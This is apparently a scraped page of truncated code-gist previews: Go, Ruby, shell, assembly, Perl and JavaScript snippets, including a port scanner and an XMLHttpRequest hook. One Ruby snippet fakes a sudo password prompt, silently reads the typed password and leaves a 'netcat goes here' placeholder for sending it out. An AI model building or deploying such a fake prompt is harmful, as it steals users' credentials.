This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"os" | |
"io/ioutil" | |
"text/template" | |
) | |
func readLines(path string) (string, error) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rsync -av \ | |
--exclude="/.*" \ | |
--exclude="/golang/" \ | |
--exclude="/bin/" \ | |
--delete \ | |
-e ssh \ | |
~/your_local_site_directory \ | |
[email protected]:~/public_html/site_directory |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'rubygems' | |
require 'json' | |
require 'pony' | |
require 'text-table' | |
# We write a file with the following format: | |
# ip_address,mac_address,accepted,alerted,first_seen_timestamp | |
email_to_alert = "email" | |
gmail_username = 'email' | |
gmail_app_password = 'password' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'io/console' | |
if ARGV.empty? | |
# show help info | |
system("/usr/bin/sudo") | |
else | |
username = ENV['USER'] | |
print "[sudo] password for #{username}: " | |
password = STDIN.noecho(&:gets).chomp | |
puts "" | |
# netcat goes here |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; to compile and run: | |
; nasm -f elf64 -l fizzbuzz.lst fizzbuzz.asm | |
; gcc -o fizzbuzz fizzbuzz.o | |
; ./fizzbuzz | |
global main | |
extern printf | |
section .text | |
main: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
COMMAND=$1 | |
FILENAME=$2 | |
FILESIZE=$3 | |
usage() { | |
echo "Usage: ./simpleluks.sh command [args ...]" | |
echo " ./simpleluks.sh create some_name size_in_GB" | |
echo " ./simpleluks.sh open some_name" | |
echo " ./simpleluks.sh close some_name" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
perl -e 'use utf8; binmode STDOUT, ":encoding(UTF-8)"; no bytes; my $c = "\x{1F0A1} \x{1F0B1} amazon \x{1F0C1} \x{1F0D1}"; use POSIX; my $L = floor(length($c)/2); my $z = 0; for $x (1..50) { for $y (1..50) { $z = !$z; if ($x == 25 && $y == (25 - $L)) { print "$c"; } if ($x == 25 && $y >= (25 - $L) && $y <= (25 + $L - !(length($c) % 2))) { next; } if ($z) { print "."; } else { print " "; } }; $z = !$z; print "\n"; }' | |
. . . . . . . . . . . . . . . . . . . . . . . . . | |
. . . . . . . . . . . . . . . . . . . . . . . . . | |
. . . . . . . . . . . . . . . . . . . . . . . . . | |
. . . . . . . . . . . . . . . . . . . . . . . . . | |
. . . . . . . . . . . . . . . . . . . . . . . . . | |
. . . . . . . . . . . . . . . . . . . . . . . . . | |
. . . . . . . . . . . . . . . . . . . . . . . . . | |
. . . . . . . . . . . . . . . . . . . . . . . . . | |
. . . . . . . . . . . . . . . . . . . . . . . . . |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const Xray = require('x-ray'); | |
const xray = Xray(); | |
const Promise = require('promise'); | |
const request = require('request'); | |
const numeral = require('numeral'); | |
function scrape_best_sellers(language, best_seller_url) { | |
return new Promise(function (resolve, reject) { | |
var web_url_base = 'https://www.amazon.' + language; | |
xray(web_url_base + best_seller_url, { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function() { | |
'use strict'; | |
XMLHttpRequest.prototype.realOpen = XMLHttpRequest.prototype.open; | |
var myOpen = function(method, url, async, user, password) { | |
console.log('h00ked', url); | |
// if(url != 'post.php') { | |
//call original | |
this.realOpen (method, url, async, user, password); | |
// } | |
// else { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
# Easy port scanner | |
# I wrote this in the 90s to help learn socket programming | |
# ./quickscan -h for usage | |
use Socket; | |
$| = 1; # so \r works right | |
my ($ip, $protocol, $port, $myhouse, $yourhouse, $log); |